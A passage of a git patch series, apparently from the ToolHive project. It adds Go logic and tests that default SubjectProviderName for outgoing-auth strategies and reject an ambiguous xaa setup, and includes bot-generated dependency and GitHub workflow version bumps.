tt.caBundlePathMap) + result := convertBackendsToStaticBackends(t.Context(), tt.backends, tt.transportMap, tt.caBundlePathMap, nil) assert.Len(t, result, tt.expectedCount) if tt.validateBackends != nil { diff --git a/pkg/vmcp/auth/types/defaults.go b/pkg/vmcp/auth/types/defaults.go new file mode 100644 index 0000000000..3f25411816 --- /dev/null +++ b/pkg/vmcp/auth/types/defaults.go @@ -0,0 +1,71 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package types + +import "errors" + +// ErrAmbiguousSubjectProvider is returned when an xaa strategy's +// SubjectProviderName is empty and more than one upstream is configured, so +// the first-upstream default would be ambiguous. +var ErrAmbiguousSubjectProvider = errors.New( + "SubjectProviderName must be set explicitly for xaa when more than one upstream is configured") + +// DefaultSubjectProviderName defaults strategy's SubjectProviderName to +// providerName for token_exchange, aws_sts, and xaa strategies whose field is +// empty, returning a deep copy with the field defaulted; the caller's +// strategy is never mutated. +// +// All three strategies share the same wrong-subject risk: picking the wrong +// upstream token via SubjectProviderName is equally security-relevant for +// each. Only xaa hard-errors on ambiguity (when hasMultipleUpstreams is true +// and SubjectProviderName is empty, it returns ErrAmbiguousSubjectProvider +// instead of defaulting), because xaa has no existing deployments to break, +// so there is no compatibility cost. token_exchange and aws_sts keep +// defaulting silently, since hard-erroring those would be a breaking change +// requiring a deprecation path (see issue #5697). +// +// Strategies that are nil, of a different type, missing their per-type +// sub-config, or that already have SubjectProviderName set are returned +// unchanged via the original pointer. +func DefaultSubjectProviderName( + strategy *BackendAuthStrategy, + providerName string, + hasMultipleUpstreams bool, +) (*BackendAuthStrategy, error) { + if strategy == nil { + return nil, nil + } + + switch strategy.Type { + case StrategyTypeTokenExchange: + if strategy.TokenExchange == nil || strategy.TokenExchange.SubjectProviderName != "" { + return strategy, nil + } + copied := strategy.DeepCopy() + copied.TokenExchange.SubjectProviderName = providerName + return copied, nil + + case StrategyTypeAwsSts: + if strategy.AwsSts == nil || strategy.AwsSts.SubjectProviderName != "" { + return strategy, nil + } + copied := strategy.DeepCopy() + copied.AwsSts.SubjectProviderName = providerName + return copied, nil + + case StrategyTypeXAA: + if strategy.XAA == nil || strategy.XAA.SubjectProviderName != "" { + return strategy, nil + } + if hasMultipleUpstreams { + return nil, ErrAmbiguousSubjectProvider + } + copied := strategy.DeepCopy() + copied.XAA.SubjectProviderName = providerName + return copied, nil + + default: + return strategy, nil + } +} diff --git a/pkg/vmcp/auth/types/defaults_test.go b/pkg/vmcp/auth/types/defaults_test.go new file mode 100644 index 0000000000..9e536c1a82 --- /dev/null +++ b/pkg/vmcp/auth/types/defaults_test.go @@ -0,0 +1,211 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package types + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +func TestDefaultSubjectProviderName(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + strategy *BackendAuthStrategy + providerName string + hasMultipleUpstreams bool + wantErr error + wantSame bool // expect result pointer identical to input strategy + checkResult func(t *testing.T, result *BackendAuthStrategy) + }{ + { + name: "nil strategy returns nil unchanged", + strategy: nil, + wantSame: false, // nil == nil, assert.Same doesn't apply; checked separately + checkResult: func(t *testing.T, result *BackendAuthStrategy) { + t.Helper() + assert.Nil(t, result) + }, + }, + { + name: "token_exchange nil sub-config returned unchanged", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeTokenExchange, + }, + providerName: "upstream1", + wantSame: true, + }, + { + name: "aws_sts nil sub-config returned unchanged", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeAwsSts, + }, + providerName: "upstream1", + wantSame: true, + }, + { + name: "xaa nil sub-config returned unchanged", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeXAA, + }, + providerName: "upstream1", + wantSame: true, + }, + { + name: "token_exchange already-set not overridden", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeTokenExchange, + TokenExchange: &TokenExchangeConfig{SubjectProviderName: "explicit"}, + }, + providerName: "upstream1", + wantSame: true, + checkResult: func(t *testing.T, result *BackendAuthStrategy) { + t.Helper() + assert.Equal(t, "explicit", result.TokenExchange.SubjectProviderName) + }, + }, + { + name: "aws_sts already-set not overridden", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeAwsSts, + AwsSts: &AwsStsConfig{SubjectProviderName: "explicit"}, + }, + providerName: "upstream1", + wantSame: true, + checkResult: func(t *testing.T, result *BackendAuthStrategy) { + t.Helper() + assert.Equal(t, "explicit", result.AwsSts.SubjectProviderName) + }, + }, + { + name: "xaa already-set not overridden", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeXAA, + XAA: &XAAConfig{SubjectProviderName: "explicit"}, + }, + providerName: "upstream1", + wantSame: true, + checkResult: func(t *testing.T, result *BackendAuthStrategy) { + t.Helper() + assert.Equal(t, "explicit", result.XAA.SubjectProviderName) + }, + }, + { + name: "token_exchange empty gets defaulted", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeTokenExchange, + TokenExchange: &TokenExchangeConfig{}, + }, + providerName: "upstream1", + hasMultipleUpstreams: false, + wantSame: false, + checkResult: func(t *testing.T, result *BackendAuthStrategy) { + t.Helper() + assert.Equal(t, "upstream1", result.TokenExchange.SubjectProviderName) + }, + }, + { + name: "aws_sts empty gets defaulted", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeAwsSts, + AwsSts: &AwsStsConfig{}, + }, + providerName: "upstream1", + hasMultipleUpstreams: false, + wantSame: false, + checkResult: func(t *testing.T, result *BackendAuthStrategy) { + t.Helper() + assert.Equal(t, "upstream1", result.AwsSts.SubjectProviderName) + }, + }, + { + name: "xaa empty gets defaulted with single upstream", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeXAA, + XAA: &XAAConfig{}, + }, + providerName: "upstream1", + hasMultipleUpstreams: false, + wantSame: false, + checkResult: func(t *testing.T, result *BackendAuthStrategy) { + t.Helper() + assert.Equal(t, "upstream1", result.XAA.SubjectProviderName) + }, + }, + { + name: "xaa ambiguous with multiple upstreams returns error", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeXAA, + XAA: &XAAConfig{}, + }, + providerName: "upstream1", + hasMultipleUpstreams: true, + wantErr: ErrAmbiguousSubjectProvider, + checkResult: func(t *testing.T, result *BackendAuthStrategy) { + t.Helper() + assert.Nil(t, result) + }, + }, + { + name: "xaa already-set with multiple upstreams is not an error", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeXAA, + XAA: &XAAConfig{SubjectProviderName: "explicit"}, + }, + providerName: "upstream1", + hasMultipleUpstreams: true, + wantSame: true, + checkResult: func(t *testing.T, result *BackendAuthStrategy) { + t.Helper() + assert.Equal(t, "explicit", result.XAA.SubjectProviderName) + }, + }, + { + name: "non-applicable strategy type returned unchanged", + strategy: &BackendAuthStrategy{ + Type: StrategyTypeHeaderInjection, + HeaderInjection: &HeaderInjectionConfig{HeaderName: "Authorization"}, + }, + providerName: "upstream1", + wantSame: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + result, err := DefaultSubjectProviderName(tt.strategy, tt.providerName, tt.hasMultipleUpstreams) + + if tt.wantErr != nil { + require.ErrorIs(t, err, tt.wantErr) + if tt.checkResult != nil { + tt.checkResult(t, result) + } + return + } + + require.NoError(t, err) + if tt.strategy == nil { + if tt.checkResult != nil { + tt.checkResult(t, result) + } + return + } + + if tt.wantSame { + assert.Same(t, tt.strategy, result) + } else { + assert.NotSame(t, tt.strategy, result) + } + + if tt.checkResult != nil { + tt.checkResult(t, result) + } + }) + } +} diff --git a/pkg/vmcp/cli/serve.go b/pkg/vmcp/cli/serve.go index 453c14f02e..e25bdc0a64 100644 --- a/pkg/vmcp/cli/serve.go +++ b/pkg/vmcp/cli/serve.go @@ -154,9 +154,11 @@ func Serve(ctx context.Context, cfg ServeConfig) error { } } - // Auto-populate SubjectProviderName on any token_exchange strategy that + // Auto-populate SubjectProviderName on backend auth strategies that // omitted it when an embedded auth server is active. - config.InjectSubjectProviderNames(vmcpCfg, authServerRC) + if err := config.InjectSubjectProviderNames(vmcpCfg, authServerRC); err != nil { + return fmt.Errorf("failed to default outgoing auth subject provider names: %w", err) + } // Construct embedded authorization server if configured. var embeddedAuthServer *authserverrunner.EmbeddedAuthServer diff --git a/pkg/vmcp/config/defaults.go b/pkg/vmcp/config/defaults.go index 3e577f1327..647b6c4337 100644 --- a/pkg/vmcp/config/defaults.go +++ b/pkg/vmcp/config/defaults.go @@ -5,6 +5,7 @@ package config import ( + "fmt" "time" "dario.cat/mergo" @@ -89,8 +90,8 @@ func (c *Config) EnsureOperationalDefaults() { } // InjectSubjectProviderNames auto-populates SubjectProviderName on every -// token_exchange or xaa strategy in cfg.OutgoingAuth that has it unset, -// when an embedded auth server RunConfig is active. +// token_exchange, aws_sts, or xaa strategy in cfg.OutgoingAuth that has it +// unset, when an embedded auth server RunConfig is active. // // This is a defaulting operation: it ensures YAML-based vMCP deployments // behave the same as the Kubernetes operator path. Without it a token_exchange @@ -98,10 +99,16 @@ func (c *Config) EnsureOperationalDefaults() { // identity.Token (the ToolHive-issued JWT), which the exchange endpoint rejects. // // When cfg or rc is nil the call is a no-op. The provider name is derived via -// authserver.ResolveFirstUpstreamName over rc.Upstreams. -func InjectSubjectProviderNames(cfg *Config, rc *authserver.RunConfig) { +// authserver.ResolveFirstUpstreamName over rc.Upstreams. For xaa, if more than +// one upstream is configured and SubjectProviderName is empty, defaulting is +// ambiguous and this returns an error wrapping +// authtypes.ErrAmbiguousSubjectProvider instead of silently defaulting; +// processing stops at the first error. Strategy structs are replaced via +// copy-then-assign rather than mutated in place, but cfg.OutgoingAuth itself +// is still updated by this call. +func InjectSubjectProviderNames(cfg *Config, rc *authserver.RunConfig) error { if cfg == nil || rc == nil || cfg.OutgoingAuth == nil { - return + return nil } names := make([]string, len(rc.Upstreams)) @@ -109,30 +116,21 @@ func InjectSubjectProviderNames(cfg *Config, rc *authserver.RunConfig) { names[i] = u.Name } providerName := authserver.ResolveFirstUpstreamName(names) + hasMultipleUpstreams := len(names) > 1 - injectIntoStrategy(cfg.OutgoingAuth.Default, providerName) - for _, strategy := range cfg.OutgoingAuth.Backends { - injectIntoStrategy(strategy, providerName) + defaulted, err := authtypes.DefaultSubjectProviderName(cfg.OutgoingAuth.Default, providerName, hasMultipleUpstreams) + if err != nil { + return fmt.Errorf("default backend: %w", err) } -} - -// injectIntoStrategy sets SubjectProviderName on token_exchange and xaa -// strategies when the field is empty. It mutates the strategy in place because -// the OutgoingAuth maps hold pointers that are already owned by cfg. -func injectIntoStrategy(strategy *authtypes.BackendAuthStrategy, providerName string) { - if strategy == nil { - return + cfg.OutgoingAuth.Default = defaulted + + for name, strategy := range cfg.OutgoingAuth.Backends { + defaulted, err := authtypes.DefaultSubjectProviderName(strategy, providerName, hasMultipleUpstreams) + if err != nil { + return fmt.Errorf("backend %q: %w", name, err) + } + cfg.OutgoingAuth.Backends[name] = defaulted } - if strategy.Type == authtypes.StrategyTypeTokenExchange && - strategy.TokenExchange != nil && - strategy.TokenExchange.SubjectProviderName == "" { - strategy.TokenExchange.SubjectProviderName = providerName - } - - if strategy.Type == authtypes.StrategyTypeXAA && - strategy.XAA != nil && - strategy.XAA.SubjectProviderName == "" { - strategy.XAA.SubjectProviderName = providerName - } + return nil } diff --git a/pkg/vmcp/config/defaults_test.go b/pkg/vmcp/config/defaults_test.go index 3f1b583d38..f790885470 100644 --- a/pkg/vmcp/config/defaults_test.go +++ b/pkg/vmcp/config/defaults_test.go @@ -242,6 +242,16 @@ func TestInjectSubjectProviderNames(t *testing.T) { } } + makeAwsStsStrategy := func(subjectProviderName string) *authtypes.BackendAuthStrategy { + return &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeAwsSts, + AwsSts: &authtypes.AwsStsConfig{ + Region: "us-east-1", + SubjectProviderName: subjectProviderName, + }, + } + } + makeRunConfig := func(upstreamNames ...string) *authserver.RunConfig { rc := &authserver.RunConfig{} for _, name := range upstreamNames { @@ -257,6 +267,7 @@ func TestInjectSubjectProviderNames(t *testing.T) { wantDefault string wantBackends map[string]string // backend name → expected SubjectProviderName wantUnchanged bool // OutgoingAuth must not be touched + wantErr error // if set, InjectSubjectProviderNames must return an error satisfying errors.Is }{ { name: "nil_cfg_is_a_noop", @@ -370,20 +381,55 @@ func TestInjectSubjectProviderNames(t *testing.T) { rc: makeRunConfig("github"), wantDefault: "explicit", }, + { + name: "aws_sts_empty_subject_provider_gets_populated", + cfg: &Config{ + OutgoingAuth: &OutgoingAuthConfig{ + Default: makeAwsStsStrategy(""), + }, + }, + rc: makeRunConfig("github"), + wantDefault: "github", + }, + { + name: "aws_sts_explicit_subject_provider_not_overridden", + cfg: &Config{ + OutgoingAuth: &OutgoingAuthConfig{ + Default: makeAwsStsStrategy("explicit"), + }, + }, + rc: makeRunConfig("github"), + wantDefault: "explicit", + }, + { + name: "xaa_ambiguous_with_multiple_upstreams_errors", + cfg: &Config{ + OutgoingAuth: &OutgoingAuthConfig{ + Default: makeXAAStrategy(""), + }, + }, + rc: makeRunConfig("first", "second"), + wantErr: authtypes.ErrAmbiguousSubjectProvider, + }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { t.Parallel() - // Snapshot the default strategy pointer before calling so we can verify - // InjectSubjectProviderNames mutates in place rather than replacing pointers. - var beforeDefault *authtypes.BackendAuthStrategy - if tt.cfg != nil && tt.cfg.OutgoingAuth != nil { - beforeDefault = tt.cfg.OutgoingAuth.Default - } + err := InjectSubjectProviderNames(tt.cfg, tt.rc) - assert.NotPanics(t, func() { InjectSubjectProviderNames(tt.cfg, tt.rc) }) + if tt.wantErr != nil { + require.Error(t, err) + assert.ErrorIs(t, err, tt.wantErr) + if tt.cfg != nil && tt.cfg.OutgoingAuth != nil && + tt.cfg.OutgoingAuth.Default != nil && tt.cfg.OutgoingAuth.Default.XAA != nil { + assert.Empty(t, tt.cfg.OutgoingAuth.Default.XAA.SubjectProviderName, + "SubjectProviderName must be left untouched when InjectSubjectProviderNames fails") + } + return + } + require.NoError(t, err) if tt.wantUnchanged { if tt.cfg != nil && tt.cfg.OutgoingAuth != nil && @@ -406,10 +452,10 @@ func TestInjectSubjectProviderNames(t *testing.T) { case tt.cfg.OutgoingAuth.Default.XAA != nil: assert.Equal(t, tt.wantDefault, tt.cfg.OutgoingAuth.Default.XAA.SubjectProviderName, "Default SubjectProviderName mismatch") + case tt.cfg.OutgoingAuth.Default.AwsSts != nil: + assert.Equal(t, tt.wantDefault, tt.cfg.OutgoingAuth.Default.AwsSts.SubjectProviderName, + "Default SubjectProviderName mismatch") } - // The pointer must not have changed — mutation must be in place. - assert.Same(t, beforeDefault, tt.cfg.OutgoingAuth.Default, - "Default strategy pointer must not change: InjectSubjectProviderNames should mutate in place") } // Verify per-backend strategies. From fb69e0008eb56df98c1c99e1b2d92f0280ab97a3 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Fri, 3 Jul 2026 19:59:31 +0300 Subject: [PATCH 16/66] Update auth and security libraries (#5670) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> --- go.mod | 4 ++-- go.sum | 8 ++++---- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/go.mod b/go.mod index d52fc46a2b..04d7569a4b 100644 --- a/go.mod +++ b/go.mod @@ -10,14 +10,14 @@ require ( github.com/aws/aws-sdk-go-v2 v1.42.0 github.com/aws/aws-sdk-go-v2/config v1.32.25 github.com/aws/aws-sdk-go-v2/service/sts v1.43.3 - github.com/cedar-policy/cedar-go v1.6.1 + github.com/cedar-policy/cedar-go v1.8.0 github.com/cenkalti/backoff/v5 v5.0.3 github.com/charmbracelet/bubbles v1.0.0 github.com/charmbracelet/bubbletea v1.3.10 github.com/charmbracelet/lipgloss v1.1.0 github.com/charmbracelet/x/ansi v0.11.7 github.com/containerd/errdefs v1.0.0 - github.com/coreos/go-oidc/v3 v3.18.0 + github.com/coreos/go-oidc/v3 v3.19.0 github.com/docker/go-connections v0.7.0 // indirect github.com/evanphx/json-patch/v5 v5.9.11 github.com/go-chi/chi/v5 v5.3.0 diff --git a/go.sum b/go.sum index 360dd593a8..f0c1de0fed 100644 --- a/go.sum +++ b/go.sum @@ -106,8 +106,8 @@ github.com/bsm/ginkgo/v2 v2.12.0 h1:Ny8MWAHyOepLGlLKYmXG4IEkioBysk6GpaRTLC8zwWs= github.com/bsm/ginkgo/v2 v2.12.0/go.mod h1:SwYbGRRDovPVboqFv0tPTcG1sN61LM1Z4ARdbAV9g4c= github.com/bsm/gomega v1.27.10 h1:yeMWxP2pV2fG3FgAODIY8EiRE3dy0aeFYt4l7wh6yKA= github.com/bsm/gomega v1.27.10/go.mod h1:JyEr/xRbxbtgWNi8tIEVPUYZ5Dzef52k01W3YH0H+O0= -github.com/cedar-policy/cedar-go v1.6.1 h1:eoBQI/Owk6XQIXTjFYnvL/mX3Iu/Ecns9RH0SdQM9Mk= -github.com/cedar-policy/cedar-go v1.6.1/go.mod h1:h5+3CVW1oI5LXVskJG+my9TFCYI5yjh/+Ul3EJie6MI= +github.com/cedar-policy/cedar-go v1.8.0 h1:9gcU7EHXwHC2RMdpph68yTAkdB3behTTssC+kt4GoS8= +github.com/cedar-policy/cedar-go v1.8.0/go.mod h1:h5+3CVW1oI5LXVskJG+my9TFCYI5yjh/+Ul3EJie6MI= github.com/cenkalti/backoff/v4 v4.3.0 h1:MyRJ/UdXutAwSAT+s3wNd7MfTIcy71VQueUuFK343L8= github.com/cenkalti/backoff/v4 v4.3.0/go.mod h1:Y3VNntkOUPxTVeUxJ/G5vcM//AlwfmyYozVcomhLiZE= github.com/cenkalti/backoff/v5 v5.0.3 h1:ZN+IMa753KfX5hd8vVaMixjnqRZ3y8CuJKRKj1xcsSM= @@ -145,8 +145,8 @@ github.com/containerd/log v0.1.0 h1:TCJt7ioM2cr/tfR8GPbGf9/VRAX8D2B4PjzCpfX540I= github.com/containerd/log v0.1.0/go.mod h1:VRRf09a7mHDIRezVKTRCrOq78v577GXq3bSa3EhrzVo= github.com/containerd/platforms v0.2.1 h1:zvwtM3rz2YHPQsF2CHYM8+KtB5dvhISiXh5ZpSBQv6A= github.com/containerd/platforms v0.2.1/go.mod h1:XHCb+2/hzowdiut9rkudds9bE5yJ7npe7dG/wG+uFPw= -github.com/coreos/go-oidc/v3 v3.18.0 h1:V9orjXynvu5wiC9SemFTWnG4F45v403aIcjWo0d41+A= -github.com/coreos/go-oidc/v3 v3.18.0/go.mod h1:DYCf24+ncYi+XkIH97GY1+dqoRlbaSI26KVTCI9SrY4= +github.com/coreos/go-oidc/v3 v3.19.0 h1:F/xyOi3x1UnG1U27YVnM1N6bHiL1K2upi6U/0qr8r+I= +github.com/coreos/go-oidc/v3 v3.19.0/go.mod h1:DYCf24+ncYi+XkIH97GY1+dqoRlbaSI26KVTCI9SrY4= github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/cpuguy83/dockercfg v0.3.2 h1:DlJTyZGBDlXqUZ2Dk2Q3xHs/FtnooJJVaad2S9GKorA= From 953f5b988a39eccd897a86f5751194549ec1896b Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Mon, 6 Jul 2026 10:02:10 +0200 Subject: [PATCH 17/66] Update anthropics/claude-code-action action to v1.0.165 (#5721) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> --- .github/workflows/issue-triage.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/issue-triage.yml b/.github/workflows/issue-triage.yml index 87151badcc..4197f792ac 100644 --- a/.github/workflows/issue-triage.yml +++ b/.github/workflows/issue-triage.yml @@ -19,7 +19,7 @@ jobs: fetch-depth: 0 - name: Run Claude Code for Issue Triage - uses: anthropics/claude-code-action@a92e7c70a4da9793dc164451d829089dc057a464 # v1.0.159 + uses: anthropics/claude-code-action@558b1d6cab4085c7753fe402c10bef0fbb92ac7a # v1.0.165 with: prompt: | You are an issue triage assistant. Analyze issue #${{ github.event.issue.number }} in ${{ github.repository }} and apply appropriate labels. From f64f9a14ab7649b344734a5cb83ac5e6327cb637 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Mon, 6 Jul 2026 10:18:26 +0200 Subject: [PATCH 18/66] Update anthropics/claude-code-action digest to 558b1d6 (#5718) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> --- .github/workflows/claude.yml | 2 +- .github/workflows/release-notes.yml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/claude.yml b/.github/workflows/claude.yml index 7446ec4e15..8fcf2ea1c6 100644 --- a/.github/workflows/claude.yml +++ b/.github/workflows/claude.yml @@ -59,7 +59,7 @@ jobs: - name: Run Claude Code id: claude - uses: anthropics/claude-code-action@a92e7c70a4da9793dc164451d829089dc057a464 # v1 + uses: anthropics/claude-code-action@558b1d6cab4085c7753fe402c10bef0fbb92ac7a # v1 with: anthropic_api_key: ${{ secrets.ANTHROPIC_API_KEY }} # Security: Restrict tools to prevent arbitrary code execution. diff --git a/.github/workflows/release-notes.yml b/.github/workflows/release-notes.yml index d9a4e5909d..440d969feb 100644 --- a/.github/workflows/release-notes.yml +++ b/.github/workflows/release-notes.yml @@ -98,7 +98,7 @@ jobs: - name: Generate release notes with Claude id: claude - uses: anthropics/claude-code-action@a92e7c70a4da9793dc164451d829089dc057a464 # v1 + uses: anthropics/claude-code-action@558b1d6cab4085c7753fe402c10bef0fbb92ac7a # v1 env: # gh CLI used by the skill (read-only PR/issue lookups) authenticates # via GH_TOKEN. Read access is sufficient — publishing happens in a From f6d67b4eafabe79a86f48a59c64b86abcdd73faf Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Mon, 6 Jul 2026 10:22:34 +0200 Subject: [PATCH 19/66] Update aws-sdk-go-v2 monorepo (#5722) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> --- go.mod | 28 ++++++++++++++-------------- go.sum | 56 ++++++++++++++++++++++++++++---------------------------- 2 files changed, 42 insertions(+), 42 deletions(-) diff --git a/go.mod b/go.mod index 04d7569a4b..0057133f5f 100644 --- a/go.mod +++ b/go.mod @@ -7,9 +7,9 @@ require ( github.com/1password/onepassword-sdk-go v0.3.1 github.com/alicebob/miniredis/v2 v2.38.0 github.com/atotto/clipboard v0.1.4 - github.com/aws/aws-sdk-go-v2 v1.42.0 - github.com/aws/aws-sdk-go-v2/config v1.32.25 - github.com/aws/aws-sdk-go-v2/service/sts v1.43.3 + github.com/aws/aws-sdk-go-v2 v1.42.1 + github.com/aws/aws-sdk-go-v2/config v1.32.27 + github.com/aws/aws-sdk-go-v2/service/sts v1.43.5 github.com/cedar-policy/cedar-go v1.8.0 github.com/cenkalti/backoff/v5 v5.0.3 github.com/charmbracelet/bubbles v1.0.0 @@ -86,7 +86,7 @@ require github.com/hashicorp/golang-lru/v2 v2.0.7 require go.starlark.net v0.0.0-20260630144053-529d8e869a14 require ( - github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.30 // indirect + github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.31 // indirect github.com/go-openapi/runtime/server-middleware v0.30.0 // indirect github.com/klauspost/cpuid/v2 v2.3.0 // indirect github.com/oklog/ulid/v2 v2.1.1 // indirect @@ -102,16 +102,16 @@ require ( github.com/ProtonMail/go-crypto v1.1.6 // indirect github.com/antlr4-go/antlr/v4 v4.13.1 // indirect github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect - github.com/aws/aws-sdk-go-v2/credentials v1.19.24 // indirect - github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.29 // indirect - github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.29 // indirect - github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.29 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.12 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.29 // indirect - github.com/aws/aws-sdk-go-v2/service/signin v1.2.0 // indirect - github.com/aws/aws-sdk-go-v2/service/sso v1.31.3 // indirect - github.com/aws/aws-sdk-go-v2/service/ssooidc v1.36.6 // indirect - github.com/aws/smithy-go v1.27.1 // indirect + github.com/aws/aws-sdk-go-v2/credentials v1.19.26 // indirect + github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.30 // indirect + github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.30 // indirect + github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.30 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.13 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.30 // indirect + github.com/aws/aws-sdk-go-v2/service/signin v1.2.2 // indirect + github.com/aws/aws-sdk-go-v2/service/sso v1.31.5 // indirect + github.com/aws/aws-sdk-go-v2/service/ssooidc v1.36.8 // indirect + github.com/aws/smithy-go v1.27.3 // indirect github.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect github.com/beorn7/perks v1.0.1 // indirect github.com/blang/semver v3.5.1+incompatible // indirect diff --git a/go.sum b/go.sum index f0c1de0fed..bf850c5117 100644 --- a/go.sum +++ b/go.sum @@ -65,36 +65,36 @@ github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3d github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw= github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4= github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI= -github.com/aws/aws-sdk-go-v2 v1.42.0 h1:XvXMJTkFQtpBKIWZnmr9ZEOc2InWM2yldjXEJ/bymhA= -github.com/aws/aws-sdk-go-v2 v1.42.0/go.mod h1:27+ACypSLljLAEKsCYOmrjKh83vuTRkuAe9Uv/3A4bg= -github.com/aws/aws-sdk-go-v2/config v1.32.25 h1:ACCejvStYoilgwrfegSt5ZntCbPrk52qfwyNcnl3omM= -github.com/aws/aws-sdk-go-v2/config v1.32.25/go.mod h1:LJyU8sDRbXUxFn8xMJIGP+v9QYYwveNLI8a/giAOiAs= -github.com/aws/aws-sdk-go-v2/credentials v1.19.24 h1:2hQqYCV9yqyePQ9o6dCrZc/zO8U3TwPr9mIKlZnPu/I= -github.com/aws/aws-sdk-go-v2/credentials v1.19.24/go.mod h1:IDwpACtwqHLISdzfwUUNq4P9DsB/h5BLg4FwJPNfqFY= -github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.29 h1:r6qZHbT+wxgWO/e9vYNUEtg7lv5+UN3pRqKhLXvnArg= -github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.29/go.mod h1:QRnaRcTVGKPGRy8w78HMQtKUGRYcnMZAANATkeVA6Mo= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.29 h1:f3vKqSo13fhTYb+JEcXwXefZQE26I1FB5eTSniU67ko= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.29/go.mod h1:MzoLFUArKGpGD+ukmPiTPG1X5x4o6M2kq4v2dr1FiEc= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.29 h1:RdwIf/CuUsvJX3RgJagbOyotl/cxoLY4xviKuE7p2GY= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.29/go.mod h1:71wt8W2EgswdZy9Mf9KNnzxZ3TiZlv4caKghPktDOkA= -github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.30 h1:VTGy885W5DKBxWRUJbym9hytNaYzsyaPkCHGRRMAOhU= -github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.30/go.mod h1:AS0HycUvJRFvTt613AYDOgO2jzw+00cVSMny8XB3yMY= -github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.12 h1:ZD2+BSw9vFsNlKYIasSNt3uDbjqqXIBcM13UJv/Lx2k= -github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.12/go.mod h1:Ms4zlcVBbXbiP7EVLhl+lgjvA/a7YphqQ3Ih3174EmI= -github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.29 h1:DRebniUGZ2MqiiIVmQJ04vIXr918hubdHMnarSLEWyU= -github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.29/go.mod h1:LfRkPCD8YHDM2E5eTkos2UpwYeZnBcVarTa8L59bJHA= +github.com/aws/aws-sdk-go-v2 v1.42.1 h1:9eOTgu1z/dVtYpNZ3/8/XbbaX0x/BqE3HUzAzs6K0ek= +github.com/aws/aws-sdk-go-v2 v1.42.1/go.mod h1:5pKeft2eJj+gElQ38Jqg4ibCqh+/AK33/0X3hip7IjM= +github.com/aws/aws-sdk-go-v2/config v1.32.27 h1:SJwJ9Q4kM7v5QVSYYyXj3znRr6lNyZEhSgAXmXXcVbI= 